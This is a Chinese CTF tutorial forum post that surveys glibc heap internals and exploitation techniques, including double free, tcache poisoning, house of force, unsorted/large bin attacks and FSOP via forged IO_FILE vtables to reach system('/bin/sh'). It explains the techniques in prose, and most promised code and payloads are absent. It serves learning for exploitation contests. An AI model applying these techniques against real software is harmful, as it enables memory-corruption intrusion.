-
-
[原创] CTF 中 glibc堆利用 及 IO_FILE 总结
-
发表于: 2022-3-30 15:55 35450
-
本文全文由winmt
一人编写,初稿完成于2022.2.1
,在编写过程中,参考了 《CTF竞赛权威指南(Pwn篇)》 一书,以及 raycp,风沐云烟,wjh,Ex,ha1vk 等众多大师傅的博客与 安全客,看雪论坛,先知社区,CTF-WiKi 上的部分优秀的文章,在此一并表示感谢。
本文主要着眼于glibc
下的一些漏洞及利用技巧和IO
调用链,由浅入深,分为 “基础堆利用漏洞及基本IO攻击” 与 “高版本glibc下的利用” 两部分来进行讲解,前者主要包括了一些glibc
相关的基础知识,以及低版本glibc
(2.27
及以前)下常见的漏洞利用方式,后者主要涉及到一些较新的glibc
下的IO
调用链。
本篇文章加入了大量笔者自己的理解,力求用尽可能直白的语言解释清楚一些漏洞的原理和利用方式,给初学者们良好的阅读体验,以少走一些弯路,但笔者本身比较菜,水平也很有限,加上这篇文章成稿的时间较短,因此难免会有一些错误,也欢迎各位读者和笔者进行交流讨论,笔者的邮箱是:wjcmt2003@qq.com
。
由低地址向高地址增长,可读可写,首地址16字节对齐,未开启ASLR
,start_brk
紧接BSS
段高地址处,开启了ASLR
,则start_brk
会在BSS段高地址之后随机位移处。通过调用brk()
与sbrk()
来移动program_break
使得堆增长或缩减,其中brk(void* end_data_segment)
的参数用于设置program_break
的指向,sbrk(increment)
的参数可正可负可零,用于与program_break
相加来调整program_break
的值,执行成功后,brk()
返回0
,sbrk()
会返回上一次program_break
的值。
当申请的size
大于mmap
的阈值mp_.mmap_threshold(128*1024=0x20000)
且此进程通过mmap
分配的内存数量mp_.n_mmaps
小于最大值mp_.n_mmaps_max
,会使用mmap
来映射内存给用户(映射的大小是页对齐的),所映射的内存地址与之前申请的堆块内存地址并不连续(申请的堆块越大,分配的地址越接近libc
)。若申请的size
并不大于mmap
的阈值,但top chunk
当前的大小又不足以分配,则会扩展top chunk
,然后从top chunk
里分配内存。
泄露libc:在能够查看内存分配的环境下(本地vmmap
,远程环境通过传非法地址泄露内存分配),通过申请大内存块,可通过利用mmap
分配到的内存块地址与libc
基址之间的固定偏移量泄露libc
地址。
其中0x7ffff79e4000
就是本次libc
的基地址。
在这个结构体中,包含了许多成员(考虑在64
位下):
1.fast bin
:
(1) 单链表,LIFO
(后进先出),例如,A->B->C
,加入D
变为:D->A->B->C
,拿出一个,先拿D
,又变为A->B->C
。
(2) fastbinsY[0]
容纳0x20
大小的堆块,随着序号增加,所容纳的范围递增0x10
,直到默认最大大小(DEFAULT_MXFAST
)0x80
(但是其支持的fast bin
的最大大小MAX_FAST_SIZE
为0xa0
),mallopt(1,0)
即mallopt(M_MXFAST,0)
将 MAX_FAST_SIZE
设为0
,禁用fast bin
。
(3) 当一个堆块加进fast bin
时,不会对下一个堆块的PREV_INUSE
进行验证(但是会对下一个堆块size
的合法性进行检查),同样地,将一个堆块从fast bin
中释放的时候,也不会对其下一个堆块的PREV_INUSE
进行更改(也不会改下一个堆块的PREV_SIZE
),只有触发malloc_consolidate()
后才会改下一个堆块的PREV_INUSE
。
(4) 当申请一个大于large chunk
最小大小(包括当申请的chunk
需要调用brk()
申请新的top chunk
或调用mmap()
函数时)的堆块之后,会先触发malloc_consolidate()
,其本身会将fast bin
内的chunk
取出来,与相邻的free chunk
合并后放入unsorted bin
,或并入top chunk
(如果无法与相邻的合并,就直接将其放入unsorted bin
),然后由于申请的large chunk
显然在fast bin
,small bin
内都找不到,于是遍历unsorted bin
,将其中堆块放入small bin
,large bin
,因此最终的效果就是fast bin
内的chunk
与周围的chunk
合并了(或是自身直接进入了unsorted bin
),最终被放入了small bin
,large bin
,或者被并入了top chunk
,导致fast bin
均为空。
(5) 若free
的chunk
和相邻的free chunk
合并后的size
大于FASTBIN_CONSOLIDATION_THRESHOLD(64k)
(包括与top chunk
合并),那么也会触发malloc_consolidate()
,最终fast bin
也均为空。
(6) 伪造fast bin
时,要绕过在__int_malloc()
中取出fake fast bin
时,对堆块大小的检验。
2.unsorted bin
:
双链表,FIFO
(先进先出),其实主要由bk
连接,A<-B<-C
进一个D
变为D<-A<-B<-C
,拿出一个C
,变为D<-A<-B
。bin
中堆块大小可以不同,不排序。
一定大小的chunk
被释放后在被放入small bin
,large bin
之前,会先进入unsorted bin
。
泄露libc:unsorted_bin
中最先进来的free chunk
的fd
指针和最后进来的free chunk
的bk
指针均指向了main_arena
中的位置,在64
位中,一般是<main_arena+88>
或<main_arena+96>
,具体受libc
影响,且main_arena
的位置与__malloc_hook
相差0x10
,而在32
位的程序中,main_arena
的位置与__malloc_hook
相差0x18
,加入到unsorted bin
中的free chunk
的fd
和bk
通常指向<main_arena+48>
的位置。
此外,可修改正处在unsorted bin
中的某堆块的size
域,然后从unsorted bin
中申请取出该堆块时,不会再检测是否合法,可进行漏洞利用。
3.small bin
:
双链表,FIFO
(先进先出),同一个small bin
内存放的堆块大小相同。
大小范围:0x20 ~ 0x3F0
。
4.large bin
:
双链表,FIFO
(先进先出),每个bin
中的chunk
的大小不一致,而是处于一定区间范围内,里面的chunk
从头结点的fd_nextsize
指针开始,按从大到小的顺序排列,同理换成bk_nextsize
指针,就是按从小到大的顺序排列。
需要注意,若现在large bin
内是这样的:0x420<-(1)0x410(2)<-
,再插一个0x410
大小的堆块进去,会从(2)
位置插进去。large bin
中size
与index
的对应如下:
5.tcache
:
(1) 单链表,LIFO
(后进先出),每个bin
内存放的堆块大小相同,且最多存放7
个,大小从24 ~ 1032
个字节,用于存放non-large
的chunk
。
(2) tcache_perthread_struct
本身也是一个堆块,大小为0x250
,位于堆开头的位置,包含数组counts
存放每个bin
中的chunk
当前数量,以及数组entries
存放64
个bin
的首地址(可以通过劫持此堆块进行攻击)。
(3) 在释放堆块时,在放入fast bin
之前,若tcache
中对应的bin
未满,则先放入tcache
中。
(4) 从fast bin
返回了一个chunk
,则单链表中剩下的堆块会被放入对应的tcache bin
中,直到上限。
从small bin
返回了一个chunk
,则双链表中剩下的堆块会被放入对应的tcache bin
中,直到上限。
在将剩余堆块从small bin
放入tcache bin
的过程中,除了检测了第一个堆块的fd
指针,都缺失了__glibc_unlikely (bck->fd != victim)
的双向链表完整性检测。
(5) binning code
,如在遍历unsorted bin
时,每一个符合要求的chunk
都会优先被放入tcache
,然后继续遍历,除非tcache
已经装满,则直接返回,不然就在遍历结束后,若找到了符合要求的大小,则把tcache
中对应大小的返回一个。
(6) 在__libc_malloc()
调用__int_malloc()
之前,如果tcache bin
中有符合要求的chunk
就直接将其返回。
(7) CVE-2017-17426
是libc-2.26
存在的漏洞,libc-2.27
已经修复。
(8) 可将tcache_count
整型溢出为0xff
以绕过tcache
,直接放入unsorted bin
等,但在libc-2.28
中,检测了counts
溢出变成负数(0x00-1=0xff
)的情况,且增加了对double free
的检查。
(9) calloc()
越过tcache
取chunk
,通过calloc()
分配的堆块会清零。补充:realloc()
的特殊用法:size == 0
时,等同于free
;realloc_ptr == 0 && size > 0
时等同于malloc
。如果当前连续内存块足够realloc
的话,只是将p
所指向的空间扩大,并返回p
的指针地址;如果当前连续内存块不够,则再找一个足够大的地方,分配一块新的内存q
,并将p
指向的内容copy
到q
,返回 q
。并将p
所指向的内存空间free
;若是通过realloc
缩小堆块,则返回的指针p
不变,但原先相比缩小后多余的那部分将会被free
掉。
6.top chunk
:
除了house of force
外,其实对于top chunk
还有一些利用点。
当申请的size
不大于mmap
的阈值,但top chunk
当前的大小又不足以分配,则会扩展top chunk
,然后从新top chunk
里进行分配。
这里的扩展top chunk
,其实不一定会直接扩展原先的top chunk
,可能会先将原先的top chunk
给free
掉,再在之后开辟一段新区域作为新的top chunk
。
具体是,如果brk
等于该不够大小的top chunk
(被记作old_top_chunk
)的end
位置(old_end
,等于old_top + old_size
),即top chunk
的size
并没有被修改,完全是自然地分配堆块,导致了top chunk
不够用,则会从old_top
处开辟更大的一块空间作为新的top chunk
,也就是将原先的old_top_chunk
进行扩展了,此时没有free
,且top chunk
的起始位置也没有改变,但是如果brk
不等于old_end
,则会先free
掉old_top_chunk
,再从brk
处开辟一片空间作为new_top_chunk
,此时的top chunk
头部位置变为了原先的brk
,而如今的brk
也做了相应的扩展,并且unsorted bin
或tcache
中(一般修改的大小都至少会是small bin
范围,但具体在哪得分情况看)会有被free
的old_top_chunk
。
因此,可以通过改小top chunk
的size
,再申请大堆块,做到对旧top chunk
的free
,不过修改的size
需要绕过一些检测。
相关源码如下:
需要绕过以上的断言,主要就是要求被修改的top chunk
的size
的prev_inuse
位要为1
并且old_end
要内存页对齐,所以就要求被修改的size
的后三位和原先要保持一致。
free(p)
后未将p
清零,若是没有其他检查的话,可能造成UAF
漏洞。double free
就是利用UAF
漏洞的经典例子。
1.fast bin
的double free
:
(1) fast bin
对double free
有检查,会检查当前的chunk
是否与fast bin
顶部的chunk
相同,如果相同则报错并退出。因此,我们不能连续释放两次相同的chunk
。
可采用如下方式在中间添加一个chunk
便绕过检查:
释放A
,单链表为A
,再释放B
,单链表为B->A
,再释放A
,单链表为A->B->A
,然后申请到A
,同时将其中内容改成任意地址(改的是fd
指针),单链表就成了B->A->X
,其中X
就是任意地址,这样再依次申请B
,A
后,再申请一次就拿到了地址X
,可以在地址X
中任意读写内容。
(2) 其实,若是有Edit
功能的话,可以有如下方式:
若当前单链表是B->A
,将B
的fd
指针通过Edit
修改为任意地址X
,单链表就变成了B->X
,申请了B
之后,再申请一次,就拿到了X
地址,从而进行读写。
需要注意的是,以上的X
准确说是fake chunk
的chunk header
地址,因为fast bin
会检测chunk_header_addr + 8
(即size
)是否符合当前bin
的大小。
2.tcache
的double free
:
libc-2.28
之前并不会检测double free
,因此可以连续两次释放同一个堆块进入tcache
,并且tcache
的next
指针指向的是user data
,因此不会做大小的检测。
释放A
,单链表为A
,再释放A
,单链表为A->A
,申请A
并把其中内容(next
指针)改成X
,则单链表为A->X
,再申请两次,拿到X
地址的读写权。
在以上过程结束后,实际上是放进tcache
了两次,而申请取出了三次,因此当前tcache
的counts
会变成0xff
,整型溢出,这是一个可以利用的操作,当然若是想避免此情况,在第一次释放A
之前,可以先释放一次B
,将其放入此tcache bin
即可。
此外,若是有Edit
功能,仿照上述 fast bin
对应操作的技术被称为tcache_poisoning
。
3.glibc2.31
下的double free
:
在 glibc2.29
之后加入了对tcache
二次释放的检查,方法是在tcache_entry
结构体中加入了一个标志key
,用于表示chunk
是否已经在所属的tcache bin
中,对于每个chunk
而言,key
在其bk
指针的位置上。
当chunk
被放入tcache bin
时会设置key
指向其所属的tcache
结构体:e->key = tcache;
,并在free
时,进入tcache bin
之前,会进行检查:如果是double free
,那么put
时key
字段被设置了tcache
,就会进入循环被检查出来;如果不是,那么key
字段就是用户数据区域,可以视为随机的,只有1/(2^size_t)
的可能行进入循环,然后循环发现并不是double free
。这是一个较为优秀的算法,进行了剪枝,具体源码如下:
可通过fast bin double free
+tcache stash
机制来进行绕过:
(1) 假设目前tcache
被填满了:C6->C5->C4->C3->C2->C1->C0
,fast bin
中为:C7->C8->C7
。
(2) 下一步,为了分配到fast bin
,需要先申请7
个,让tcache
为空(或calloc
),再次申请时就会返回fast bin
中的C7
,同时由于tcache stash
机制,fast bin
中剩下的C8
,C7
均被放入了tcache bin
,此时,在C7
的fd
字段写入target_addr
(相当于获得了Edit
功能),于是target_addr
也被放入了tcache bin
,因此这里target_addr
处甚至不需要伪造size
(target_addr
指向user data
区)。
(3) 此时,tcache bin
中单链表为:C8->C7->target_addr
,再申请到target_addr
,从而得到了一个真正的任意写。
补充:
上述代码,若是按注释中的写,则在没有触发tcache stash
机制时,fast bin
中为C9->C8->C7
,取走C9
,最终tcache bin
中是C7->C8
,符合设想(依次取C8
,C7
放入tcache bin
)。
然而,若是double free chunk_7
,则在没有触发tcache stash
机制时,fast bin
中为C7->C8->C7
,取走C7
,最终tcache bin
中是C8->C7->C8
,而若是按照tcache bin
放入的规则,应该也是类似于C7->C8
,不符合设想。
流程如下:
(1) 取C8
放入tcache bin
,同时REMOVE_FB (fb, pp, tc_victim);
会清空C8
的next(fd)
指针,并且将链表头设置为指向C8
原先fd
指针指向的堆块C7
(源码分析如下)。
(2) 目前fast bin
中为C7->C8
(最开始取走C7
并不清空其fd
字段),然后根据tcache bin
的放入规则,最终依次放入后为C8->C7->C8
。
4.当可以Edit
时,往往就不需要double free
了,而有些情况看似不能对空闲中的堆块进行Edit
(比如存放长度的数组在free
后会清零),但是可以利用UAF
漏洞对处于空闲状态的堆块进行Edit
,例如:
此时,我们编辑chunk 2
,实则是在对已经free
的chunk 1
进行编辑。
缓冲区溢出了一个字节,由于glibc
的空间复用技术(即pre_size
给上一个allocated
的堆块使用),所以可通过off by one
修改下一个堆块的size
域。
经常是由于循环次数设置有误造成了该漏洞的产生。比较隐蔽的是strcpy
会在复制过去的字符串末尾加\x00
,可能造成poison null byte
,例如,strlen
和 strcpy
的行为不一致可能会导致off-by-one
的发生:strlen
在计算字符串长度时是不把结束符\x00
计算在内的,但是strcpy
在复制字符串时会拷贝结束符 \x00
。off by one
经常可以与Chunk Extend and Overlapping
配合使用。
unlink:
由经典的链表操作FD=P->fd;BK=P->bk;FD->bk=BK;BK->fd=FD;
实现,这样堆块P
就从该双向链表中取出了。unlink
中有一个保护检查机制:(P->fd->bk!=P || P->bk->fd!=P) == False
,需要绕过。
对于fast bin
,可以在栈上伪造两个fake chunk
,但需要绕过检查,应满足第一个fake chunk
的标志位IS_MMAPPED
与NON_MAIN_ARENA
均为零(PREV_INUSE
并不影响释放),且要求其大小满足fast bin
的大小,对于其next chunk
,即第二个fake chunk
,需要满足其大小大于0x10
,小于av->system_mem
(0x21000
)才能绕过检查。之后,伪造指针P = & fake_chunk1_mem
,然后free(P)
,fake_chunk1
就进入了fast bin
,之后再申请同样大小的内存,即可取出fake_chunk1
,获得了栈上的任意读写权(当然并不局限于在栈上伪造)。
该技术在libc-2.26
中仍然适用,可以对tcache
做类似的操作,甚至没有对上述next chunk
的检查。
主要思路为:将top chunk
的size
改为一个很大的数,就可以始终让top chunk
满足切割条件,而恰好又没有对其的检查,故可利用此漏洞,top chunk
的地址加上所请求的空间大小造成了整型溢出,使得top chunk
被转移到内存中的低地址区域(如bss
段,data
段,got
表等等),接下来再次请求空间,就可以获得转移地址后面的内存区域的控制权。
house of rabbit
是利用malloc_consolidate()
合并机制的一种方法。malloc_consolidate()
函数会将fastbin
中的堆块之间或其中堆块与相邻的freed
状态的堆块合并在一起,最后达到的效果就是将合并完成的堆块(或fastbin
中的单个堆块)放进了smallbin/largebin
中,在此过程中,并不会对fastbin
中堆块的size
或fd
指针进行检查,这是一个可利用点。
fastbin
中的堆块size
可控(比如off by one
等)
比如现在fastbin
有两个0x20
的堆块A -> B
,其中chunk B
在chunk A
的上方,我们将chunk B
的size
改为0x40
,这样就正好包含了chunk A
,且fake chunk B
下面的堆块也就是chunk A
下方的堆块,也是合法的,假设这个堆块不是freed
的状态,那么触发malloc_consolidate()
之后,smallbin
里就会有两个堆块,一个是chunk A
,另外一个是fake chunk B
,其中包含了chunk A
,这样就实现了堆块重叠。
fastbin
中的堆块fd
可控(比如UAF
漏洞等)
其实就是将fastbin
中的堆块的fd
改为指向一个fake chunk
,然后通过触发malloc_consolidate()
之后,使这个fake chunk
完全“合法化”。不过,需要注意伪造的是fake chunk's next chunk
的size
与其next chunk's next chunk
的size
(prev_inuse
位要为1
)。
unsorted bin into stack
的原理比较简单,就是在栈上伪造一个堆块,然后修改unsorted bin
中某堆块的bk
指针指向此fake chunk
,通过申请到此fake chunk
达到对栈上地址的读写权。需要注意的是高版本有tcache
的情况,此时在unsorted bin
中找到一个合适大小的堆块后并不会直接返回,而是会放入tcache bin
中,直到上限,若是某时刻tcache_count
达到上限,则直接返回该fake chunk
,不然会继续遍历,并在最后从tcache bin
中取出返回给用户,此时就要求fake chunk
的bk
指针指向自身,这样就可以通过循环绕过。
再来看真正的unsorted bin attack
,其实在上述利用中,fake chunk
的fd
指针被修改成了unsorted bin
的地址,位于main_arena
,甚至可以通过泄露其得到libc
的基地址,当然也可以通过这个利用,将任意地址中的值改成很大的数(如global_max_fast
),这就是unsorted bin attack
的核心,其原理是:当某堆块victim
从unsorted bin list
中取出时,会进行bck = victim->bk; unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av);
的操作。
例如,假设chunk_A
在unsorted bin
中,此时将chunk_A
的bk
改成&global_max_fast - 0x10
,然后取出chunk_A
,那么chunk_A->bk->fd
,也就是global_max_fast
中就会写入unsorted bin
地址,即一个很大的数。若是在高版本有tcache
的情况下,可通过放入tcache
的次数小于从中取出的次数,从而整型溢出,使得tcache_count
为一个很大的数,如0xff
,就可以解决unsorted bin into stack
中提到的tcache
特性带来的问题。
假设当前chunk_A
在large bin
中,修改其bk
为addr1 - 0x10
,同时修改其bk_nextsize
为addr2 - 0x20
,此时chunk_B
加入了此large bin
,其大小略大于chunk_A
,将会进行如下操作:
其中,victim
就是chunk_B
,而fwd
就是修改过后的chunk_A
,注意到3
处bck->fd = victim
,同时,把1
带入2
可得到:fwd->bk_nextsize->fd_nextsize=victim
,因此,最终addr1
与addr2
地址中的值均被赋成了victim
即chunk_B
的chunk header
地址,也是一个很大的数。
一种large bin attack
配合类似于unsorted bin into stack
的攻击手段,适用于libc-2.30
版本以下,由于基本可以被IO_FILE attack
取代,目前应用情景并不是很广泛,但是其思路还是挺巧妙的,所以这里也介绍一下。
我们想用类似于unsorted bin into stack
的手段,将某个unsorted bin
的bk
指向我们需要获得读写权限的地址,然后申请到该地址,但是我们又没办法在该地址周围伪造fake chunk
,这时候可以配合large bin attack
进行攻击。
假设需要获取权限的目标地址为addr
,我们首先将某个unsorted bin
(large bin
大小,大小为X
,地址为Z
)的bk
指向addr-0x20
,然后将此时large bin
中某堆块(大小为Y
,X
略大于Y
)的bk
设为addr-0x18
,bk_nextsize
设为addr-0x20-0x20+3
。
这时通过申请0x50
大小的堆块(后面解释),然后unsorted bin
的那个堆块会被放入large bin
中,先是addr-0x10
被写入main_arena+88
(在此攻击手段中用处不大),然后由于large bin attack
,在地址Z
对应的堆块从unsorted bin
被转入large bin
后,addr-0x8
会被写入地址Z
,从addr-0x20+3
开始也会写入地址Z
,造成的结果就是addr-0x18
处会被写入了0x55
或0x56
(即地址Z
的最高位),相当于伪造了size
。
此时的情形如下:
这时,由于之前申请了0x50
大小的堆块(解释了设置large bin
的bk_nextsize
的目的,即为伪造size
),那么就会申请到chunk header
位于addr-0x20
的fake chunk
返回给用户,此时需要访问到fake chunk
的bk
指针指向的地址(bck->fd = victim
),因此需要其为一个有效的地址,这就解释了设置large bin
的bk
的目的。
最后需要说明的是,当开了地址随机化之后,堆块的地址最高位只可能是0x55
或0x56
,而只有当最高位为0x56
的时候,上述攻击方式才能生效,这里其实和伪造0x7f
而用0x7_
后面加上其他某个数可能就不行的原因一样,是由于__libc_malloc
中有这么一句断言:
过上述检测需要满足以下一条即可:
值得一提的是,由于addr-0x8
(即fake chunk
的bk
域)被写入了地址Z
,因此最终在fake chunk
被返还给用户后,unsorted bin
中仍有地址Z
所对应的堆块(已经被放入了large bin
中),且其fd
域被写入了main_arena+88
(bck->fd = unsorted_chunks(av)
)。
先来看house of lore
,如果能够修改small bin
的某个free chunk
的bk
为fake chunk
,并且通过修改fake chunk
的fd
为该free chunk
,绕过__glibc_unlikely( bck->fd != victim )
检查,就可以通过申请堆块得到这个fake chunk
,进而进行任意地址的读写操作。
当在高版本libc
下有tcache
后,将会更加容易达成上述目的,因为当从small bin
返回了一个所需大小的chunk
后,在将剩余堆块放入tcache bin
的过程中,除了检测了第一个堆块的fd
指针外,都缺失了__glibc_unlikely (bck->fd != victim)
的双向链表完整性检测,又calloc()
会越过tcache
取堆块,因此有了如下tcache_stashing_unlink_attack
的攻击手段,并同时实现了libc
的泄露或将任意地址中的值改为很大的数(与unsorted bin attack
很类似)。
假设目前tcache bin
中已经有五个堆块,并且相应大小的small bin
中已经有两个堆块,由bk
指针连接为:chunk_A<-chunk_B
。
利用漏洞修改chunk_A
的bk
为fake chunk
,并且修改fake chunk
的bk
为target_addr - 0x10
。
通过calloc()
越过tcache bin
,直接从small bin
中取出chunk_B
返回给用户,并且会将chunk_A
以及其所指向的fake chunk
放入tcache bin
(这里只会检测chunk_A
的fd
指针是否指向了chunk_B
)。
在fake chunk
放入tcache bin
之前,执行了bck->fd = bin;
的操作(这里的bck
就是fake chunk
的bk
,也就是target_addr - 0x10
),故target_addr - 0x10
的fd
,也就target_addr
地址会被写入一个与libc
相关大数值(可利用)。
再申请一次,就可以从tcache
中获得fake chunk
的控制权。
综上,此利用可以完成获得任意地址的控制权和在任意地址写入大数值两个任务,这两个任务当然也可以拆解分别完成。
此外,让tcache bin
中不满七个,就又在smallbin
中有同样大小的堆块,并且只有calloc
,可以利用堆块分割后,残余部分进入unsorted bin
实现。
_IO_FILE_plus
结构体的定义为:
vtable
对应的结构体_IO_jump_t
的定义为:
这个函数表中有19
个函数,分别完成IO
相关的功能,由IO
函数调用,如fwrite
最终会调用__write
函数,fread
会调用__doallocate
来分配IO
缓冲区等。
进程中FILE
结构通过_chain
域构成一个链表,链表头部为_IO_list_all
全局变量,默认情况下依次链接了stderr
,stdout
,stdin
三个文件流,并将新建的流插入到头部,vtable
虚表为_IO_file_jumps
。
此外,还有_IO_wide_data
结构体:
还有一些宏的定义:
此外,许多Pwn
题初始化的时候都会有下面三行:
这是初始化程序的io
结构体,只有初始化之后,io
函数才能在程序过程中打印数据,如果不初始化,就只能在exit
结束的时候,才能一起把数据打印出来。
主要原理为劫持vtable
与_chain
,伪造IO_FILE
,主要利用方式为调用IO_flush_all_lockp()
函数触发。IO_flush_all_lockp()
函数将在以下三种情况下被调用:
源码:
可以看到,当满足:
就会调用_IO_OVERFLOW()
函数,而这里的_IO_OVERFLOW
就是文件流对象虚表的第四项指向的内容_IO_new_file_overflow
,因此在libc-2.23
版本下可如下构造,进行FSOP
:
因此这样构造,通过_IO_OVERFLOW (fp)
,我们就实现了system("/bin/sh\x00")
。
而libc-2.24
加入了对虚表的检查IO_validate_vtable()
与IO_vtable_check()
,若无法通过检查,则会报错:Fatal error: glibc detected an invalid stdio handle
。
可见在最终调用vtable
的函数之前,内联进了IO_validate_vtable
函数,其源码如下:
glibc
中有一段完整的内存存放着各个vtable
,其中__start___libc_IO_vtables
指向第一个vtable
地址_IO_helper_jumps
,而__stop___libc_IO_vtables
指向最后一个vtable_IO_str_chk_jumps
结束的地址。
若指针不在glibc
的vtable
段,会调用_IO_vtable_check()
做进一步检查,以判断程序是否使用了外部合法的vtable
(重构或是动态链接库中的vtable
),如果不是则报错。
具体源码如下:
因此,最好的办法是:我们伪造的vtable
在glibc
的vtable
段中,从而得以绕过该检查。
目前来说,有四种思路:利用_IO_str_jumps
中_IO_str_overflow()
函数,利用_IO_str_jumps
中_IO_str_finish()
函数与利用_IO_wstr_jumps
中对应的这两种函数,先来介绍最为方便的:利用_IO_str_jumps
中_IO_str_finish()
函数的手段。_IO_str_jumps
的结构体如下:
其中,_IO_str_finish
源代码如下:
其中相关的_IO_str_fields
结构体与_IO_strfile_
结构体的定义:
可以看到,它使用了IO
结构体中的值当作函数地址来直接调用,如果满足条件,将直接将fp->_s._free_buffer
当作函数指针来调用。
首先,仍然需要绕过之前的_IO_flush_all_lokcp
函数中的输出缓冲区的检查_mode<=0
以及_IO_write_ptr>_IO_write_base
进入到_IO_OVERFLOW
中。
我们可以将vtable
的地址覆盖成_IO_str_jumps-8
,这样会使得_IO_str_finish
函数成为了伪造的vtable
地址的_IO_OVERFLOW
函数(因为_IO_str_finish
偏移为_IO_str_jumps
中0x10
,而_IO_OVERFLOW
为0x18
)。这个vtable
(地址为_IO_str_jumps-8
)可以绕过检查,因为它在vtable
的地址段中。
构造好vtable
之后,需要做的就是构造IO FILE
结构体其他字段,以进入将fp->_s._free_buffer
当作函数指针的调用:先构造fp->_IO_buf_base
为/bin/sh
的地址,然后构造fp->_flags
不包含_IO_USER_BUF
,它的定义为#define _IO_USER_BUF 1
,即fp->_flags
最低位为0
。
最后构造fp->_s._free_buffer
为system_addr
或one gadget
即可getshell
。
由于libc
中没有_IO_str_jump
的符号,因此可以通过_IO_str_jumps
是vtable
中的倒数第二个表,用vtable
的最后地址减去0x168
定位。
也可以用如下函数进行定位:
可以进行如下构造:
利用house of orange
(见下文)构造的payload
:
再来介绍一下:利用_IO_str_jumps
中_IO_str_overflow()
函数的手段。_IO_str_overflow()
函数的源码如下:
和之前利用_IO_str_finish
的思路差不多,可以看到其中调用了fp->_s._allocate_buffer
函数指针,其参数rdi
为new_size
,因此,我们将_s._allocate_buffer
改为system
的地址,new_size
改为/bin/sh
的地址,又new_size = 2 * old_blen + 100
,也就是new_size = 2 * _IO_blen (fp) + 100
,可以找到宏定义:#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
,因此new_size = 2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100
,故我们可以使_IO_buf_base = 0
,_IO_buf_end = (bin_sh_addr - 100) // 2
,当然还不能忘了需要绕过_IO_flush_all_lokcp
函数中的输出缓冲区的检查_mode<=0
以及_IO_write_ptr>_IO_write_base
才能进入到_IO_OVERFLOW
中,故令_IO_write_ptr = 0xffffffffffffffff
且_IO_write_base = 0x0
即可。
最终可按如下布局fake IO_FILE
:
参考payload
(劫持的stdout
):
而在libc-2.28
及以后,由于不再使用偏移找_s._allocate_buffer
和_s._free_buffer
,而是直接用malloc
和free
代替,所以FSOP
也失效了。
利用unsorted bin attack
配合 IO_FILE attack (FSOP)
进行攻击。
通过unsorted bin attack
将_IO_list_all
内容从_IO_2_1_stderr_
改为main_arena+88/96
(实则指向top chunk
)。
而在_IO_FILE_plus
结构体中,_chain
的偏移为0x68
,而top chunk
之后为0x8
单位的last_remainder
,接下来为unsorted bin
的fd
与bk
指针,共0x10
大小,再之后为small bin
中的指针(每个small bin
有fd
与bk
指针,共0x10
个单位),剩下0x50
的单位,从smallbin[0]
正好分配到smallbin[4]
(准确说为其fd
字段),大小就是从0x20
到0x60
,而smallbin[4]
的fd
字段中的内容为该链表中最靠近表头的small bin
的地址 (chunk header
),因此0x60
的small bin
的地址即为fake struct
的_chain
中的内容,只需要控制该0x60
的small bin
(以及其下面某些堆块)中的部分内容,即可进行FSOP
。
_fileno
的值就是文件描述符,位于stdin
文件结构开头0x70
偏移处,如:stdin
的fileno
为0
,stdout
的fileno
为1
,stderr
的fileno
为2
。
在漏洞利用中,可以通过修改stdin
的_fileno
值来重定位需要读取的文件,本来为0
的话,表示从标准输入中读取,修改为3
则表示为从文件描述符为3
的文件(已经open
的文件)中读取,该利用在某些情况下可直接读取flag
。
1.利用stdin
进行任意写
scanf
,fread
,gets
等读入走IO
指针(read
不走)。
大体流程为:若_IO_buf_base
为空,则调用_IO_doallocbuf
去初始化输入缓冲区,然后判断输入缓冲区是否存在剩余数据,如果输入缓冲区有剩余数据(_IO_read_end > _IO_read_ptr
)则将其直接拷贝至目标地址(不会对此时输入的数据进行读入),如果没有或不够,则调用__underflow
函数执行系统调用读取数据(SYS_read
)到输入缓冲区(从_IO_buf_base
到_IO_buf_end
,默认0x400
,即将数据读到_IO_buf_base
,读取0x400
个字节),此时若实际读入了n
个字节的数据,则_IO_read_end = _IO_buf_base + n
(即_IO_read_end
指向实际读入的最后一个字节的数据),之后再将输入缓冲区中的数据拷贝到目标地址。
这里需要注意的是,若输入缓冲区中没有剩余的数据,则每次读入数据进输入缓冲区,仅和_IO_buf_base
与_IO_buf_end
有关。
在将数据从输入缓冲区拷贝到目标地址的过程中,需要满足所调用的读入函数的自身的限制条件,例如:使用scanf("%d",&a)
读入整数,则当在输入缓冲区中遇到了字符(或scanf
的一些截断符)等不符合的情况,就会停止这个拷贝的过程。最终,_IO_read_ptr
指向成功拷贝到目的地址中的最后一个字节数据在输入缓冲区中的地址。因此,若是遇到了不符合限制条件的情况而终止拷贝,则最终会使得_IO_read_end > _IO_read_ptr
,即再下一次读入之前会被认定为输入缓冲区中仍有剩余数据,在此情况下,很有可能不会进行此次读入,或将输入缓冲区中剩余的数据拷贝到此次读入的目标地址,从而导致读入的错误。getchar()
和IO_getc()
的作用是刷新_IO_read_ptr
,每次调用,会从输入缓冲区读一个字节数据,即将_IO_read_ptr++
。
相关源码:
综上,为了做到任意写,满足如下条件,即可进行利用:
(1) 设置_IO_read_end
等于_IO_read_ptr
(使得输入缓冲区内没有剩余数据,从而可以从用户读入数据)。
(2) 设置_flag &~ _IO_NO_READS
即_flag &~ 0x4
(一般不用特意设置)。
(3) 设置_fileno
为0
(一般不用特意设置)。
(4) 设置_IO_buf_base
为write_start
,_IO_buf_end
为write_end
(我们目标写的起始地址是write_start
,写结束地址为write_end
),且使得_IO_buf_end-_IO_buf_base
大于要写入的数据长度。
2.利用stdout
进行任意读/写
printf
,fwrite
,puts
等输出走IO
指针(write
不走)。
在_IO_2_1_stdout_
中,_IO_buf_base
和_IO_buf_end
为输出缓冲区起始位置(默认大小为0x400
),在输出的过程中,会先将需要输出的数据从目标地址拷贝到输出缓冲区,再从输出缓冲区输出给用户。
缓冲区建立函数_IO_doallocbuf
会建立输出缓冲区,并把基地址保存在_IO_buf_base
中,结束地址保存在_IO_buf_end
中。在建立里输出缓冲区后,会将基址址给_IO_write_base
,若是设置的是全缓冲模式_IO_FULL_BUF
,则会将结束地址给_IO_write_end
,若是设置的是行缓冲模式_IO_LINE_BUF
,则_IO_write_end
中存的是_IO_buf_base
,此外,_IO_write_ptr
表示输出缓冲区中已经使用到的地址。即_IO_write_base
到_IO_write_ptr
之间的空间是已经使用的缓冲区,_IO_write_ptr
到_IO_write_end
之间为剩余的输出缓冲区。
最终实际调用了_IO_2_1_stdout_
